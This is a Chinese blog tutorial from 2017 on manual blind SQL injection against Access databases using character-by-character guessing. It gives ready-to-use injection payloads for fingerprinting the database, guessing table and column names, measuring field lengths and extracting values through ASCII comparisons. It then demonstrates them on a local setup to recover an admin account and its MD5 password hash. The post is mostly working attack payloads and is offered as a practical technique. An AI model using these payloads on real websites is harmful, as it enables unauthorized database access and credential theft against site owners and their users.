【手工注入实例】Access注入之逐字猜解法

判断数据库:

and exists (select * from msysobjects)>0     Access数据库

and exists (select * from sysobjects)>0       SQL Server数据库

我们一般手注都是用的都是联合查询法,现在教程一般也都是教的联合查询。 
这里先说一下两者的区别和优劣之处。↓↓↓↓↓ 
1.联合查询(简单但是一些复杂注入点不兼容),很多注入点联合查询会报错 
2.逐字猜解(比较繁琐但是适用性要好),大部分注入点都可以用 
现在注入工具一般都是用的逐字猜解法,所以你会发现工具跑的时候是一个一个字符出来的。    

语句是:↓↓↓↓↓↓ 
获取表名:

and exists (select * from 表名)

获取列名:

and exists (select 列名 from 表名)

获取列名的长度:

and (select top 1 len(列名) from 表名)>=5

获取 第一位编码:

and (select top 1 asc(mid(列名,位数,1)) from 表)>=97

 获取 第二位编码:

and (select top 1 asc(mid(列名,位数,1)) from 表)>=100

……以此类推……

 

下面我们在本地搭建的环境中测试一下。↓↓↓↓↓↓

判断是否有注入,大家都会的吧。如果不会我想也没必要看这个了....   

一般联合查询是先 order by 字段数,我们这里不需要。看图↓↓↓↓↓↓  

and exists (select * from 表名) 获取表名

 

我们直接猜解admin表,当然,如果不存在会报错或者是空白。只要返回正常就可以。不存在就继续猜解别的表。  

得到了admin表,我们来获取列名:语句如下↓↓↓↓↓↓↓

and exists (select 列名 from admin) 获取列名 这里的admin是我们刚才获取到的admin

 

得到了列名为admin 另外一个是password,就不演示了。猜解就行。    

然后我们来判断指定列名的内容长度,也就是admin列的内容长度。看下图:

也就是admin列的长度为5,这个要记住。  

下面获取password的内容长度,如下↓ ↓↓↓↓↓↓

我们现在已经获取了admin表下面admin 和password这两个字段

并且知道了admin里面的内容长度是5 password里面的内容长度是16

下一步就是逐字猜解列名里面的内容了。

但是注意的是我们获取的不是明文,而是Ascii码号,这个可以直接从网上对照会有相应的明文。如下图:↓↓↓↓

先从admin的列开始,看看Ascii码是多少。↓

具体方法见图 and (select top 1 asc(mid(列,位数,1)) from 表)>=97 获取指定列的内容长度,位数先从1开始,前面已经获取到admin里面内容长度是5位,现在获取第一位的Ascii码。所以我们语句就是↓  

and (select top 1 asc(mid(admin,1,1)) from 表)>=97 后面的>=97 是要根据自己测试的,如图。

admin列名的第一位内容97,我们记录下来。我们继续,然后第二位的语句就是:

and (select top 1 asc(mid(admin,2,1)) from 表)>=未知数

得到admin列名里的内容第一位是97 第二位是100 ...... 

admin列名剩下的3位就不上图了最后分别是↓

97 100 109 105 110  对

照着上面的Ascii表,内容就是 a d m i n 。 现在我们取得了admin列的内容,然后我们还差password的内容要获取。  

由于和上面方法无差别,就不上图了。语句如下↓↓↓↓↓↓↓ 

and (select top 1 asc(mid(password,1,1)) from 表)>=结果 

and (select top 1 asc(mid(password,2,1)) from 表)>=结果 

and (select top 1 asc(mid(password,3,1)) from 表)>=结果

................................此处省略几截...............................

and (select top 1 asc(mid(password,16,1)) from 表)>=结果  

最后结果为:97 52 56 101 49 57 48 102 97 102 99 50 53 55 100 51  

然后把这些Ascii码对着上面的表转换一下。得出我们的密码MD5 a48e190fafc257d3  

最后得到账号:admin 密码a48e190fafc257d3 

虽然比较繁琐,但是相比联合查询更实用。记下来还是能用到的。

 

posted @ 2017-11-16 15:36  七月哈比  阅读(824)  评论(0编辑  收藏  举报
站长QQ:1340895414